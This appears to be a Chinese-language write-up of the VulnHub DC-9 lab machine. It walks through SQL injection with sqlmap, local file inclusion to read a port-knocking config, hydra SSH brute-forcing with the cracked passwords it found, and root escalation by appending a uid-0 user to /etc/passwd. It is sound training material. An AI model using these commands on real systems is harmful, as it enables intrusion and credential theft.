vulnhub DC-9
扫描
1 2 3 4 5
| nmap -sP 192.168.81.0/24 192.168.81.134
nmap -sC -sV -p- 192.168.81.134 22,80端口
|
存在sql注入
1 2 3 4 5
| http://192.168.124.10/search.php 1' or 1=1# 1' or 1=2# 测试 sqlmap.py -r a.txt --dbs
admin | 856f5de590ef37314e7c3bdf6f8a66dc 还有一堆账号和密码
|
在 https://crackstation.net/ 解密得到transorbital1
本地文件包含&&端口敲门服务&& ssh爆破
fuzz测试一下,sqlmap的data/txt下有fuzz字典
如果你有一台公众可访问的服务器,黑客可以轻松扫描其IP地址,查找服务器上的开放端口(尤其是用于SSH的端口22)。将服务器隐藏起来、不让黑客看见的一种方法是使用knockd。knockd是一种端口试探服务器工具。它侦听以太网或其他可用接口上的所有流量,等待特殊序列的端口命中(port-hit)。telnet或Putty等客户软件通过向服务器上的端口发送TCP或数据包来启动端口命中。
端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。
换句话说,如果知道自定义的端口,逐个进行敲门,这样我们就能够开启SSH端口,从而进行连接,所以利用LFI
来查看knock.conf
文件配置,得到自定义端口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| 配置文件:/etc/knockd.conf
nmap -p 7469 192.168.139.168 nmap -p 8475 192.168.139.168 nmap -p 9842 192.168.139.168 或者 knock 192.168.139.168 7469 8475 9842 - ssh爆破 hydra -L u.txt -P p.txt 192.168.139.168 ssh [22][ssh] host: 192.168.139.168 login: chandlerb password: UrAG0D! [22][ssh] host: 192.168.139.168 login: joeyt password: Passw0rd [22][ssh] host: 192.168.139.168 login: janitor password: Ilovepeepee
|
拿到shell,信息收集
1 2 3 4 5 6 7
| janitor@dc-9:/var/www/html$ cat config.php <?php $servername = "localhost"; $username = "dbuser"; $password = "password"; $dbname = "Staff"; $conn = mysqli_connect($servername, $username, $password, $dbname);
|
1 2 3 4 5 6 7 8 9
| ls -al
janitor@dc-9:~/.secrets-for-putin$ cat passwords-found-on-post-it-notes.txt BamBam01 Passw0rd smellycats P0Lic B4-Tru3-001 4uGU5T-NiGHts
|
发现了更多的密码,加入密码本,再次ssh爆破
1 2 3 4 5 6 7 8 9
| [22][ssh] host: 192.168.139.168 login: fredf password: B4-Tru3-001
fredf@dc-9:/opt/devstuff/dist/test$ sudo -l Matching Defaults entries for fredf on dc-9: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User fredf may run the following commands on dc-9: (root) NOPASSWD: /opt/devstuff/dist/test/test
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| find / -name test.py 2>/dev/null cat /opt/devstuff/test.py
import sys
if len (sys.argv) != 3 : print ("Usage: python test.py read append") sys.exit (1)
else : f = open(sys.argv[1], "r") output = (f.read())
f = open(sys.argv[2], "a") f.write(output) f.close()
|
1 2 3 4 5 6
| sudo ./test /tmp/test /etc/passwd
openssl passwd -1 -salt test 123456 echo 'test:$1$test$at615QShYKduQlx5z9Zm7/:0:0::/root:/bin/bash' >> /tmp/test sudo ./test /tmp/test /etc/passwd su test
|
/etc/passwd内容格式
1 2 3 4 5 6 7 8
| root:x:0:0:root:/root:/bin/bash 字段1: 用户名。 字段2:密码占位符,x代表有密码,也可以直接填入密码的密文。 字段3:用户的uid,如果一个用户uid为0则表示该用户超级管理员。 字段4:用户的gid,也就是所属用户组的id。 字段5:用户信息(弃用)。 字段6:用户家目录。 字段7:用户登陆系统后使用的shell。
|